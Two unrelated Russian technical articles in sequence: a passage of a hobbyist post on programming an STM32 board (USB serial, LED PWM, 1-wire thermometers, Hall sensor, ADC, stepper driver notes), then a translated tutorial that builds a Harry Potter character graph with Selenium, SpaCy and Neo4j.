Итак, прежде всего необходимо наладить связь компьютера и МКшки. Учитывая то, что в современных компьютерах RS-232 отсутствует, отладочную связь организую посредством USB. Однако, в «боевых условиях» команды МКшка будет получать по RS-232 от другого контроллера, поэтому я решил сразу же смотреть в сторону организации эмулятора переходника USB<->RS-232. Этот подход удобен еще тем, что не надо заморачиваться с лишним кодом для взаимодействия с устройством по USB (хоть это и элементарно, но лень же!). Да и отлаживать просто: открываем устройство /dev/ttyACM0 как последовательный порт при помощи любого эмулятора последовательного терминала и «общаемся». Да, в качестве эмулятора терминала на первых порах (пока нет никакого ПО со стороны компьютера) я использовал tinyserial.
[Отсюда](http://stm32-ezhik.narod.ru/files/stm32/SampleSomeDevice_CLU_src_1.1.0.zip) я скачал код эмулятора переходника USB<->RS-232. Так как проверить работоспособность второй стороны (RS-232) я сразу не мог (некуда подключить), неиспользуемый код работы с USART временно закомментировал.
Для работы с USB используется библиотека от STMicroelectronics. Если не вникать в коды самой библиотеки, все довольно-таки просто: нам нужно переопределить дескрипторы для своей железяки (файлы usb\_desc.[ch]), чтобы компьютер опознал ее как переходник USB<->RS-232, а также изменить обработчики прерываний на события USB (как минимум — обработать принятые данные, а для прозрачной работы в качестве переходника, надо будет еще добавить обработку прерываний USART для передачи полученных оттуда данных по USB).
Для передачи сообщений используем что-то вроде кольцевого буфера, который постепенно будет наполняться, а по необходимости — передаваться по USB. Считывать данные будем в «обычный буфер». Так как пока что я использую только короткие команды, обработкой длинных посылок я не заморачивался. Если же они будут, нужно будет немного усложнить обработчик прерывания по приему данных с USB.
Так как некоторые команды (например, чтение температуры с 1-wire датчиков) выполняются довольно-таки долго, обработчик пришедших по USB команд только модифицирует флаги для подобных операций, а уж основной цикл в main() эти флаги обрабатывает. Операции, выполняющиеся быстро (работа со светодиодом), вызываются непосредственно из этой функции. В отладочных целях я добавил «эхо» на команды в виде краткой ее расшифровки:
**Код**
```
void usb_handle_command(uint16_t cnt){
uint8_t command, *answer;
uint16_t i;
for(i = 0; i < cnt; i++){
command = USB_Rx_Buffer[i];
switch(command){
case CMD_LED_ON:
LED_On();
answer = (uint8_t*)"On";
break;
case CMD_LED_OFF:
LED_Off();
answer = (uint8_t*)"Off";
break;
case CMD_LED_BLINK:
LED_OnBlink();
answer = (uint8_t*)"Blk";
break;
case CMD_LED_DUTY_PLUS:
LED_DutyPlus();
answer = (uint8_t*)"Shn";
break;
case CMD_LED_DUTY_MINUS:
LED_DutyMinus();
answer = (uint8_t*)"Fad";
break;
case CMD_1W_GET_TEMP:
FLAGS |= FLAG_READ_T;
answer = (uint8_t*)"Read T";
break;
case CMD_1W_GET_DEV:
FLAGS |= FLAG_GETDEV;
answer = (uint8_t*)"find devices";
break;
case CMD_1W_PRNT_DEV:
FLAGS |= FLAG_PRINTDEV;
answer = (uint8_t*)"Print devices";
break;
case CMD_HALL_GET:
FLAGS |= FLAG_PRINTHALL;
answer = (uint8_t*)"Print Hall";
break;
case CMD_ADC_GET:
FLAGS |= FLAG_PRINTADC;
answer = (uint8_t*)"Print ADC val";
break;
default:
answer = (uint8_t*)"Unk";
}
newline();
prnt(answer);
newline();
}
}
```
Все, теперь при подключении макетки к компьютеру по USB (а она, вообще-то, у меня всегда подключена, т.к. питается через USB) появляется устройство /dev/ttyACM0, с которым можно работать, как с обычным последовательным портом. Например, открыть его при помощи последовательного терминала (как я уже выше сказал, на первых порах пользуюсь tinyserial).
### Светодиод, кнопка
Наверное, традиционным является «помигать диодом» в начале изучения какой-нибудь новой железяки, поэтому и я сделаю так же. А заодно повешу на «user button» прерывание, которое будет менять режимы работы светодиода.
Просто мигать не интересно: интересно менять яркость. Для этого достаточно простого «софтового» ШИМа. Настроим таймер SysTick на период в 10мкс. Заведем два счетчика: один для количества «тиков», в течение которых светодиод горит, а второй — для количества «тиков», в течение которых светодиод не горит. Для изменения яркости свечения светодиода я сделал простейшую восьмиуровневую схему изменения скважности ШИМа.
Получилось вот что:
**Код**
```
uint8_t LED_GetState(){
return led_state;
}
void LED_Duty(uint8_t duty){
duty_cycle = duty;
if(led_state == LEDSTATE_BLINK)
LED_OnBlink();
}
void LED_DutyPlus(){
if(duty_cycle < 7) duty_cycle++;
if(led_state == LEDSTATE_BLINK)
LED_OnBlink();
}
void LED_DutyMinus(){
if(duty_cycle > 0) duty_cycle--;
if(led_state == LEDSTATE_BLINK)
LED_OnBlink();
}
uint8_t LED_GetBlinkState(uint16_t *blink_on, uint16_t *blink_off){
*blink_on = led_blink_on;
*blink_off = led_blink_off;
return led_state;
}
void LED_On(){
led_state = LEDSTATE_ON;
led_blink_on = 0;
led_blink_off = 0;
GPIO_ResetBits(GPIOC, GPIO_Pin_12);
}
void LED_Off(){
led_state = LEDSTATE_OFF;
GPIO_SetBits(GPIOC, GPIO_Pin_12);
}
void LED_OnBlink(){
led_blink_off = 1 << duty_cycle;
led_blink_on = 0xff - led_blink_off;
led_ticks_on = 0;
led_ticks_off = 0;
if(led_blink_off == 0){
LED_On();
return;
}
if(led_blink_on == 0)
{
LED_Off();
return;
}
led_state = LEDSTATE_BLINK;
}
void LED_SysTick_Handler(){
if(led_state != LEDSTATE_BLINK) return;
if(led_ticks_on == 0)
GPIO_SetBits(GPIOC, GPIO_Pin_12);
if(led_ticks_on <= led_blink_on) {
led_ticks_on++;
return;
}
if (led_ticks_off == 0){
GPIO_ResetBits(GPIOC, GPIO_Pin_12);
}
if(led_ticks_off <= led_blink_off){
led_ticks_off++;
return;
}
led_ticks_on = 0;
led_ticks_off = 0;
}
```
На «пользовательскую кнопку» я повесил внешнее прерывание:
**Код**
```
// Enable the BUTTON Clock
RCC_APB2PeriphClockCmd(RCC_APB2Periph_AFIO, ENABLE);
RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE);
// Configure Button pin as input
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN_FLOATING;
GPIO_InitStructure.GPIO_Pin = GPIO_Pin_0;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_2MHz;
GPIO_Init(GPIOA, &GPIO_InitStructure);
// Connect Button EXTI Line to Button GPIO Pin
GPIO_EXTILineConfig(GPIO_PortSourceGPIOA, GPIO_PinSource0);
// Configure Button EXTI line
EXTI_InitStructure.EXTI_Line = EXTI_Line0;
EXTI_InitStructure.EXTI_Mode = EXTI_Mode_Interrupt;
EXTI_InitStructure.EXTI_Trigger = EXTI_Trigger_Rising;
EXTI_InitStructure.EXTI_LineCmd = ENABLE;
EXTI_Init(&EXTI_InitStructure);
// Enable and set Button EXTI Interrupt to the lowest priority
NVIC_InitStructure.NVIC_IRQChannel = EXTI0_IRQn;
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0x0F;
NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0x0F;
NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_InitStructure);
```
А его обработчик занимается тем, что переводит светодиод в режим непрерывного свечения, если тот «мигал», или наоборот — в режим «мигания», если тот светился:
**Код**
```
void EXTI0_IRQHandler(void){
if(EXTI_GetITStatus(EXTI_Line0) != RESET){
if(LED_GetState() != LEDSTATE_BLINK)
LED_OnBlink();
else
LED_On();
EXTI_ClearITPendingBit(EXTI_Line0);
}
}
```
### 1-wire
Код для работы с 1-wire я стащил откуда-то с сайта [easyelectronics.ru](http://we.easyelectronics.ru/blog/STM32/). Изменил я его совсем немного. Прежде всего, изменил функцию поиска устройств, висящих на шине (она в оригинале почему-то не работала, хотя логика вроде-бы вполне четкая и правильная была).
В сворованном мною примере 1-wire работала через USART, а для чтения/записи использовался DMA. Мне эта идея очень понравилась, поэтому воспользовался именно этим способом (хотя можно было организовать и программный протокол 1-wire).
Стандартная схема подключения 1-wire шины к последовательному порту подразумевает наличие диода Шоттки:
Однако, у меня такого диода не было. Но я углядел, что помимо push-pull режима можно отвечающую за USART\_TX ногу перевести в режим с открытым стоком — в этом случае короткого замыкания не будет. Для работы с 1-wire я использовал USART3 (пока я балуюсь, ног мне хватает — поэтому remap делать не надо). На схеме я увидел, что ноги USART3 (PB10 и PB11) уже подтянуты к земле через резисторы по 10кОм, так что мне даже резистор припаивать не пришлось: только подпаял на макетку небольшую платку с гнездами, чтобы удобно было подключать термодатчики.
Подробно расписывать содержимое файла onewire.c не буду: это сделано уже до меня неоднократно, а коснусь лишь непосредственно работы с термометрами.
Для мониторинга температуры теплых (выше -50°C) частей устройства я решил воспользоваться простыми датчиками DS18S20 (заявленная точность измерения — не хуже 0.5°C). Подпаянную на макетку панельку я подключил к нужным выводам, чтобы можно было одновременно подключить к МКшке пару термометров.
Вот, например, что я получаю при работе с термометрами:
**Код**
```
com /dev/ttyACM0
C-a exit, C-x modem lines status
[STATUS]: RTS CTS DTR
// жму 'c' :
find devices
Found 2 devices
// жму 'p' :
Print devices
device 0:
0x10 0x7c 0xee 0x8f 0x02 0x08 0x00 0x1c
device 1:
0x10 0xad 0xbc 0x8f 0x02 0x08 0x00 0xf9
// жму 't' :
Read T
Device 0: 0x3b 0x00 0x4b 0x46 0xff 0xff 0x08 0x10 0x39
Device 1: 0x3a 0x00 0x4b 0x46 0xff 0xff 0x0c 0x10 0x41
```
Для начала я промаркировал все термометры, чтобы знать, какой идентификатор у кого. А после я решил посмотреть, сильно ли различаются их показания. Температура — первые два байта ответа датчиков. В седьмом байте хранится «остаток» от преобразования температуры встроенным в термометр АЦП. По документации на датчики, этот остаток помогает уточнить значение температуры. Однако, выяснилось, что толку от него — как от козла молока.
В процессе работы датчик сам нагревается, что сказывается на результатах измерения. Поэтому не стоит слишком часто их опрашивать. Кроме того, показания датчиков отличались друг от друга вплоть до полутора градусов! Это нужно иметь в виду: если планируется использовать несколько датчиков так, чтобы мониторить разницу температур между участками чего-то с точностью не хуже 0.5°C, предварительно надо все датчики откалибровать. И показания брать по калибровочным формулам, а не ответу датчиков.
Реальная погрешность датчика иной раз превышает 0.5°C, поэтому все-таки лушче считать, что датчик имеет точность в 1°C.
### Датчик Холла
Датчики Холла у меня аналоговые — SS495A. Спецификации на датчик можно найти в интернете. Скажу лишь, что в нормальном состоянии на его выходной ноге напряжение составляет около 2.5В (логическая единица STM32), в зависимости от полярности и величины внешнего магнитного поля он будет изменять свои показания в пределах 0..5В. Учитывая то, что напряжение на выходе может достигать пяти вольт, надо использовать не обычные, а «пятивольтовые» (обозначены как FR в спецификации) входы контроллера.
Имеющиеся у меня магниты (специально для этого датчика) при помещении их рабочей поверхности в пределах 1мм от «морды» датчика (маркированная сторона) приводили к появлению на его выходе нулевого напряжения. Причем уровень логического нуля появляется в довольно-таки небольшой зоне по координатам в параллельной маркированной стороне датчика плоскости, т.е. точность позиционирования получается довольно приличной.
Для опытов я распаял на макетке один датчик. Питание его подключил к 5В, а сигнальный выход вывел на порт PC10, который не сгорит, если на него подать 5В. Для того, чтобы не дергать постоянно порт, я повесил на него прерывание (по аналогии с кнопкой). Обработчик прерывания просто выставляет соответствующий флаг, а уж в основном цикле, если этот флаг выставлен (т.е. магнит либо появился, либо покинул «поле зрения» датчика) проверяем, что у нас на PC10. Если там ноль (есть МП), пишем в терминал «Magnet», иначе пишем «clear». Еще можно принудительно проверить, есть датчик или нет его, нажав «h» в терминале.
### АЦП
Помимо «теплых зон» мне еще надо будет измерять температуру в холодных (вплоть до 75К сверху). Для этого будут использоваться платиновые термосопротивления, подключенные к аналоговому коммутатору ADG506A. Ну и, естественно, мне стало интересно, насколько плох «родной» АЦП МКшки: нельзя ли его использовать для измерения температуры?
Примеров работы STM32 с АЦП полным-полно, я взял пример из STDPeriphLib. Будем запускать АЦП в режиме непрерывного преобразования, а результат заносить в память при помощи DMA. Время преобразования устанавливаю в самое большое (чтобы поточнее было), а сам вход АЦП пока что повешу на ногу PB0 (ADC8):
**Код**
```
// 0. Configure ADC8 (PB0) as analog input (clocking GPIOB sat on in onewire.c)
RCC_ADCCLKConfig(RCC_PCLK2_Div4);
RCC_AHBPeriphClockCmd(RCC_AHBPeriph_DMA1, ENABLE);
RCC_APB2PeriphClockCmd(RCC_APB2Periph_ADC1 | RCC_APB2Periph_GPIOB, ENABLE);
GPIO_InitStructure.GPIO_Pin = GPIO_Pin_0;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AIN;
GPIO_Init(GPIOB, &GPIO_InitStructure);
// 1. DMA for converted value (DMA1 clocking sat on at onewire.c)
//RCC_AHBPeriphClockCmd(RCC_AHBPeriph_DMA1, ENABLE);
DMA_DeInit(DMA1_Channel1);
DMA_InitStructure.DMA_PeripheralBaseAddr = ADC1_DR_Address;
DMA_InitStructure.DMA_MemoryBaseAddr = (uint32_t)&ADC_value;
DMA_InitStructure.DMA_DIR = DMA_DIR_PeripheralSRC;
DMA_InitStructure.DMA_BufferSize = 1;
DMA_InitStructure.DMA_PeripheralInc = DMA_PeripheralInc_Disable;
DMA_InitStructure.DMA_MemoryInc = DMA_MemoryInc_Disable;
DMA_InitStructure.DMA_PeripheralDataSize = DMA_PeripheralDataSize_HalfWord;
DMA_InitStructure.DMA_MemoryDataSize = DMA_MemoryDataSize_HalfWord;
DMA_InitStructure.DMA_Mode = DMA_Mode_Circular;
DMA_InitStructure.DMA_Priority = DMA_Priority_High;
DMA_InitStructure.DMA_M2M = DMA_M2M_Disable;
DMA_Init(DMA1_Channel1, &DMA_InitStructure);
DMA_Cmd(DMA1_Channel1, ENABLE);
// 2. ADC1 config
ADC_InitStructure.ADC_Mode = ADC_Mode_Independent;
ADC_InitStructure.ADC_ScanConvMode = ENABLE;
ADC_InitStructure.ADC_ContinuousConvMode = ENABLE;
ADC_InitStructure.ADC_ExternalTrigConv = ADC_ExternalTrigConv_None;
ADC_InitStructure.ADC_DataAlign = ADC_DataAlign_Right;
ADC_InitStructure.ADC_NbrOfChannel = 1;
ADC_Init(ADC1, &ADC_InitStructure);
// Connect ADC to ADC8 (PB0),
ADC_RegularChannelConfig(ADC1, ADC_Channel_8, 1, ADC_SampleTime_239Cycles5);
// Enable ADC1 DMA
ADC_DMACmd(ADC1, ENABLE);
ADC_Cmd(ADC1, ENABLE);
// Calibration of ADC1
ADC_ResetCalibration(ADC1);
while(ADC_GetResetCalibrationStatus(ADC1));
ADC_StartCalibration(ADC1);
while(ADC_GetCalibrationStatus(ADC1));
ADC_SoftwareStartConvCmd(ADC1, ENABLE); // turn conversion on
```
Для работы с коммутатором нужно сконфигурировать пять бит управляющего порта. Чтобы не париться с преобразованием бит, я просто взял первые четыре бита порта C в качестве адреса, а пятый бит — в качестве ключа, включающего коммутатор:
**Код**
```
GPIO_InitStructure.GPIO_Pin = 0x1f; // first 5 bits of PC0
// PC0..PC3 - analog channel address, PC4 - analog enable switch
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_2MHz;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP;
GPIO_Init(GPIOC, &GPIO_InitStructure);
```
Прерываний здесь никаких не надо, а в файле interrupts.c надо дописать установку нового флага при поступлении команды (скажем, команды 'a') отображения напряжения на датчиках. В main() добавим обработку этого флага:
**Код**
```
inline void prntADC(){
uint32_t address; // addr = 0, EN = 1
uint8_t *_2b = (uint8_t *) &ADC_value;
for(address = 0x10; address < 0x20; address++){
// changhe channel address & turn on switch
GPIOC->BSRR = address;
Delay(2); // wait for AD conversion
prnt((uint8_t*)"Temperature ");
printInt(address&0x0f); prnt((uint8_t*)" = ");
printInt(_2b[1]);
printInt(_2b[0]);
newline();
// turn off switch & reset bits
GPIOC->BRR = (uint32_t)0x1f;
Delay(2);
}
}
```
При поступлении команды в цикле запускаем выставление нужного адреса на коммутаторе, ждем пару миллисекунд, чтобы АЦП отработало, а затем выводим полученное значение. Потом отключаем коммутатор и ждем (на всякий случай) еще пару миллисекунд.
На отдельной макетке я собрал простой резистивный делитель напряжения, соединив все аналоговые входы коммутатора мелкоомными (200..900 Ом) резисторами. К S1 подключил «землю», а к S16 — +3.3В с макетки STM32. Запитал микросхему я старым БП от внешнего HDD (12В).
В макетке STM32P103 эталонное напряжение для АЦП берется от общего питания, поэтому точность получилась низкой: значения плавают иной раз аж на 20 единиц!
Вот, например, что получилось при двух опросах:
**Код**
```
// опрос 1
Temperature 0x00 = 0x00 0x00
Temperature 0x01 = 0x00 0x84
Temperature 0x02 = 0x00 0xaf
Temperature 0x03 = 0x01 0xdb
Temperature 0x04 = 0x03 0x10
Temperature 0x05 = 0x03 0xe4
Temperature 0x06 = 0x05 0xca
Temperature 0x07 = 0x06 0x9b
Temperature 0x08 = 0x07 0x4e
Temperature 0x09 = 0x08 0xd6
Temperature 0x0a = 0x0a 0x04
Temperature 0x0b = 0x0a 0xb4
Temperature 0x0c = 0x0b 0xfc
Temperature 0x0d = 0x0d 0xe0
Temperature 0x0e = 0x0e 0xb7
Temperature 0x0f = 0x0f 0xff
// опрос 2
Temperature 0x00 = 0x00 0x00
Temperature 0x01 = 0x00 0x7f
Temperature 0x02 = 0x00 0xaf
Temperature 0x03 = 0x01 0xdf
Temperature 0x04 = 0x03 0x0f
Temperature 0x05 = 0x03 0xe4
Temperature 0x06 = 0x05 0xcc
Temperature 0x07 = 0x06 0x9d
Temperature 0x08 = 0x07 0x5a
Temperature 0x09 = 0x08 0xd6
Temperature 0x0a = 0x0a 0x01
Temperature 0x0b = 0x0a 0xb5
Temperature 0x0c = 0x0b 0xfc
Temperature 0x0d = 0x0e 0x09
Temperature 0x0e = 0x0e 0xb0
Temperature 0x0f = 0x0f 0xec
```
В общем, надо будет либо попробовать добавить стабильный источник опорного напряжения (да и измеряемую цепь питать оттуда же), либо вообще использовать внешний АЦП. Учитывая низкое сопротивление датчиков, которые будут использоваться, все равно придется паять еще и усилитель.
### Шаговый двигатель
С шаговиком я еще не закончил возиться, т.к. подозреваю, что при монтаже элементов на макетке у меня ничего «не взлетит». Надо паять. А пайкой займусь, скорее всего, только в следующем году (надо еще радиодеталей прикупить). Пока лишь вкратце расскажу, как планирую управлять шаговыми двигателями.
Шаговики у меня будут — VSS42 на 1.2 ампера. Управлять такими удобней всего при помощи драйвера ШД — L6208. При работе на эту микросхему надо подавать лишь сигналы управления направлением движения, сигнал разрешения работы да тактовые импульсы. Контроллер сам регулирует ШИМ и устанавливает нужные напряжения на обмотках двигателя.
Укажу пока основное, на что следует обратить внимание:
* Регулировка ШИМа выполняется посредством сравнения падения напряжения на Sense-резисторах с опорным напряжением Vref. Поэтому для тока Imax и сопротивления резисторов RSense это падение можно рассчитать довольно просто:
**Uref = Imax · RSense**
Т.е. для выставления предельного тока в 1.2А при RSense=0.33Ом нужно задать Uref=0.4 В. Ни в коем случае нельзя оставлять ноги Vref висящими в воздухе или прижатыми к земле!
* Режим Slow/Fast decay имеет значение для обычных коллекторных двигателей, шаговикам же Fast decay нужен лишь в режиме microstepping. В общем, если не извращаться, достаточно просто подать +5В на ножку CONTROL. На HALF/FULL тоже просто подаем +5В и работаем в полушаговом режиме. Аналогично поступаем с ногой RESET, если не хотим сбрасывать счетчик фаз (а его сбрасывать и не нужно, если честно отдавать на каждый шаг по 8 синхроимпульсов).
* Вход ENABLE является еще и выходом: если с драйвером L6208 случается неприятность (перегрев, скачок тока), он самостоятельно отключает напряжение на нагрузке, а ENABLE подтягивает к земле. Это значит, что можно проверять, не случилась ли аварийная ситуация, если ногу контроллера, управляющую портом ENABLE, активировать в режиме выхода с открытым коллектором.
По спецификации STM32, в режиме открытого коллектора при подаче единицы на выход порта просто запирается транзистор, подтягивающий ногу к земле. Если же на выход подать нуль, то нога опять подтягивается.
Таким образом, подтянув ногу контроллера к +5В (ногу нужно выбирать **FT**) через, скажем, пятикилоомный резистор, а между ней и ENABLE воткнув, скажем, килоомный резистор (и обязательно *не забыть шунтировать ногу ENABLE конденсатором на землю*, иначе можно сжечь управляющий контроллер), можно и включать/выключать нужный двигатель, и проверять, не было ли аварий (а для этого можно повесить на соответствующие ноги контроллера прерывание периферии по спадающему фронту).
* Проводники, помеченные в спецификации жирным, должны быть как можно короче и шире. Но при этом надо следить и за тем, чтобы уменьшить паразитные емкости и индуктивности.
RSense должны располагаться как можно ближе к драйверу. Недалеко от них должны быть и конденсаторы C₁ и C₂ (по спецификации): через эту цепь течет не только ток сравнения, но и обратный ток индукции (поэтому, кстати, **диоды в эту цепочку включать нельзя**).
Сигнальную землю соединять с силовой землей только **далее** точки подключения C₁ к земле, иначе ток индукции может попортить электронику просто падением напряжения на проводниках печатки (до меня, правда, не дошло, как это возможно, но лучше прислушаться к требованиям безопасности).
* Еще я прочел интересную штуку: **силовое питание нельзя подключать без сигнального**! В документации рекомендуется даже брать напряжение 5 В от силового источника при помощи стабилизирующего блока.
Я, честно говоря, ничего не понял: собственно +5 В подается лишь на управляющие ноги драйвера. Если мы не пользуемся двигателем, то, по идее, у него на всех сигнальных входах может быть 0. Но включать силовое питание таки буду после включения питания контроллера. И выключать в обратной последовательности. И следить, чтобы USB-шнурок, питающий контроллер, не выскочил... | https://habr.com/ru/post/161863/ | null | ru | null |
# Как превратить книгу о Гарри Поттере в граф знаний
Обработка естественного языка — это не только нейронные сети, а данные — это не только строки, числа и перечисления. Область работы с данными простирается намного дальше. К старту флагманского [курса по Data Science](https://skillfactory.ru/dstpro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_140821&utm_term=lead) представляем вашему вниманию перевод из блога разработчиков графовой базы данных neo4j о том, как при помощи SpaCy и Selenium извлечь из книги граф взаимоотношений героев. Подробности и код, как всегда, под катом.
---
Скорее всего, вы уже видели [созданный](https://twitter.com/mathbeveridge) Эндрю Бевериджем граф [Game of Thrones](https://networkofthrones.wordpress.com/). Эндрю построил граф взаимодействий книжных персонажей. Если два персонажа появляются на некотором расстоянии друг от друга в тексте, мы можем предположить, что в книге они как-то связаны или взаимодействуют. Я решил создать подобный проект, но выбрать популярную книгу, не имеющую известной мне стратегии извлечения данных из сети. Так родился проект по извлечению графа персонажей книги “Гарри Поттер и философский камень”.
Я провёл много экспериментов, чтобы решить, как лучше поступить. Попробовал большинство моделей распознавания именованных сущностей с открытым исходным кодом, сравнивая их работу, но ни одна из них не была достаточно хороша. К счастью, на странице фэндома [Гарри Поттера](https://harrypotter.fandom.com/wiki/Main_Page) есть [список](https://harrypotter.fandom.com/wiki/Harry_Potter_and_the_Philosopher's_Stone_(character_index)) персонажей первой книги.
Нам известна глава первого появления каждого героя, это поможет разделить персонажей. Чтобы найти все упоминания персонажа, воспользуемся основанным на правилах матчером [SpaCy](https://spacy.io/). Останется определить метрику совместных вхождений и сохранить результаты в [Neo4j](https://neo4j.com/).
Порог совпадений возьмём из проекта графа "Игры престолов": когда два персонажа появляются в пределах 14 слов друг от друга, будем считать, что они взаимодействовали, и сохраним количество этих взаимодействий как вес отношений.
### План
1. Парсим страницу фэндома Гарри Поттера.
2. Предварительно обрабатываем текст книги, решая проблему разрешения совместных ссылок.
3. Распознаём сущности сопоставлением на основе правил SpaCy.
4. Делаем выводы об отношениях персонажей.
5. Сохраняем результаты в графовой базе данных Neo4j.
На случай если вы хотите повторить шаги, я подготовил блокнот [Google Colab](https://github.com/tomasonjo/blogs/blob/master/harry_potter/HarryPotterNLP.ipynb).
#### Скрэпинг страниц фэндома Гарри Поттера
Работать будем с [Selenium](https://selenium-python.readthedocs.io/), соберём данные персонажей книги "Гарри Поттер и философский камень", вот [список](https://harrypotter.fandom.com/wiki/Harry_Potter_and_the_Philosopher's_Stone_(character_index)) их упоминаний.
```
wd = webdriver.Chrome('chromedriver',chrome_options=chrome_options)
wd.get(url)
character_dict = dict()
elem = wd.find_element_by_class_name("mw-parser-output")
# Locate character by chapter
tables = elem.find_elements_by_tag_name('table')
for i, chapter in enumerate(tables):
list_of_characters = []
characters = chapter.find_elements_by_tag_name('a')
for character in characters:
if not character.get_attribute('title'):
continue
list_of_characters.append({'title': character.get_attribute('title'), 'url': character.get_attribute('href')})
character_dict['chapter_' + str(i + 1)] = list_of_characters
```
Благодаря коду выше мы получили список персонажей с информацией об их первом появлении в книге. У каждого персонажа есть веб-страница с подробной информацией о нём.
На странице [Гермионы Грейнджер](https://harrypotter.fandom.com/wiki/Hermione_Granger) вы увидите структурированную таблицу с дополнительной информацией. Чтобы извлечь сущности из книги и обогатить граф знаний, воспользуемся разделом таблицы с псевдонимами и добавим детали, такие как дом и происхождение по крови.
```
for chapter in character_dict:
for index, character in enumerate(character_dict[chapter]):
# Rate limit sleep
time.sleep(1)
# Get the character page with selenium
wd.get(character['url'])
# Enrich aliases
try:
alias_div = wd.find_element_by_xpath("//div[@data-source = 'alias']")
aliases = alias_div.find_elements_by_tag_name('li')
result = []
for a in aliases:
# Ignore under the cloak-guise and the name he told
if "disguise" in a.text or "the name he told" in a.text:
continue
alias = a.text.split('[')[0].split('(')[0].strip()
result.append(alias)
character_dict[chapter][index]['aliases'] = result
except:
pass
# Enrich blood
character_dict[chapter][index]['blood'] = enrich_single_item('blood')
# Enrich nationality
character_dict[chapter][index]['nationality'] = enrich_single_item('nationality')
```
Для ясности я показываю не весь код, а также я добавил некоторые исключения для псевдонимов. Например, у Гарри есть такой псевдоним:
* [Грегори Гойл](https://harrypotter.fandom.com/wiki/Gregory_Goyle) (под маскировкой Polyjuice).
Проигнорируем псевдонимы под маскировкой Polyjuice. А ещё, кажется, Гарри сказал Стэнли Шанпайку, что он Невилл Лонгботтом, это мы тоже пропустим. Прежде чем продолжить извлечение именованных сущностей, сохраним собранную информацию в Neo4j. Наши атрибуты:
* имя;
* адрес страницы;
* псевдонимы;
* национальность;
* кровное происхождение;
* пол;
* биологический вид.
Взаимоотношения:
* дом;
* сообщество, которому предан персонаж;
* семья.
```
entity_query = """
UNWIND $data as row
MERGE (c:Character{name:row.title})
SET c.url = row.url,
c.aliases = row.aliases,
c.blood = row.blood,
c.nationality = row.nationality,
c.species = row.species,
c.gender = row.gender
FOREACH (h in CASE WHEN row.house IS NOT NULL THEN [1] ELSE [] END | MERGE (h1:House{name:row.house}) MERGE (c)-[:BELONGS_TO]->(h1))
FOREACH (l in row.loyalty | MERGE (g:Group{name:l}) MERGE (c)-[:LOYAL_TO]->(g))
FOREACH (f in row.family | MERGE (f1:Character{name:f.person}) MERGE (c)-[t:FAMILY_MEMBER]->(f1) SET t.type = f.type)
"""
with driver.session() as session:
for chapter in character_dict:
session.run(entity_query, {'data': character_dict[chapter]})
```
Сохраняем информацию о персонажах в Neo4j
Пример подграфа Гермионы ГрейнджерПохоже, Гермиона также известна как Маленькая мисс Совершенство и предана Обществу содействия благосостоянию эльфов. К сожалению, данные не разделены по времени, поэтому Фред Уизли уже сейчас оказывается шурином Маленькой мисс Совершенство.
#### Предварительная обработка текста
Прежде всего, мы должны получить текст книги. Я нашёл на GitHub [репозиторий](https://github.com/amephraim/nlp/tree/master/texts) с текстами первых четырёх книг о Гарри Поттере. К данным не прилагается лицензия, поэтому предположу, что вправе использовать данные в образовательных целях с чистой совестью:
```
def get_text(url):
try:
return requests.get(url).text
except:
print("No text was found")
return None
```
Мы должны быть внимательны и передать функции ссылку на необработанное текстовое содержимое, и это должно сработать.
Когда я впервые извлекал сущности, то забыл предварительно провести разрешение кореферентности, то есть определить относящиеся к одному и тому же объекту лингвистические выражения. Посмотрите мой [пост](https://towardsdatascience.com/from-text-to-knowledge-the-information-extraction-pipeline-b65e7e30273e) о конвейере извлечения информации, в нём показан работающий пример.
Я искал модели разрешения кореферентности с открытым исходным кодом, но, насколько я знаю, их всего две. Первая — [NeuralCoref](https://github.com/huggingface/neuralcoref), она работает поверх SpaCy, вторая — AllenNLP. Ранее я работал с NeuralCoref и решил посмотреть, как работает AllenNLP.
К сожалению, в Colab 16 ГБ ОЗУ и память быстро закончилась, когда я вводил всю главу в AllenNLP. Затем я нарезал главу на предложения, но это работало очень медленно, возможно, из-за фреймворка BERT, поэтому я по умолчанию использую NeuralCoref, который легко справляется с целой главой и работает быстрее. Код подготовки текста:
```
def coref_resolution(text):
"""Function that executes coreference resolution on a given text"""
doc = nlp(text)
# fetches tokens with whitespaces from spacy document
tok_list = list(token.text_with_ws for token in doc)
for cluster in doc._.coref_clusters:
# get tokens from representative cluster name
cluster_main_words = set(cluster.main.text.split(' '))
for coref in cluster:
if coref != cluster.main: # if coreference element is not the representative element of that cluster
if coref.text != cluster.main.text and bool(set(coref.text.split(' ')).intersection(cluster_main_words)) == False:
# if coreference element text and representative element text are not equal and none of the coreference element words are in representative element. This was done to handle nested coreference scenarios
tok_list[coref.start] = cluster.main.text + \
doc[coref.end-1].whitespace_
for i in range(coref.start+1, coref.end):
tok_list[i] = ""
return "".join(tok_list)
```
### Распознавание сущностей с помощью сопоставления на основе правил SpaCy
Я хотел использовать модель распознавания именованных сущностей, пробовал модели SpaCy, HuggingFace, Flair и даже Stanford NLP, но ни одна из них не работала достаточно хорошо, поэтому вместо обучения модели я воспользовался шаблонами [сопоставления](https://spacy.io/usage/rule-based-matching) на основе правил в SpaCy.
Мы уже знаем, каких персонажей ищем. Остаётся найти способ точнее сопоставить их. Определим шаблоны для каждого персонажа.
```
def get_matcher_patterns(character):
matcher_pattern = []
stop_words = ['of', 'the', 'at', 'family', 'keeper', 'wizard', 'fat', 'de', 'hogwarts']
parts_of_name = [el for el in character['title'].split(' ') if len(el) > 2]
# Append the whole pattern
matcher_pattern.append([{"LOWER": n.lower(), "IS_TITLE": True} for n in parts_of_name])
# Append parts of names
if not "'" in character['title']: # Skip names like Vernon Dursley's secretary
for n in parts_of_name:
if n.lower() in stop_words: # Skip appending stop words
continue
matcher_pattern.append([{"LOWER": n.lower(), "IS_TITLE": True}])
# Special case for Ronald Weasley -> Also add Ron
if n == "Ronald":
matcher_pattern.append([{"LOWER": "ron", "IS_TITLE": True}])
return matcher_pattern
```
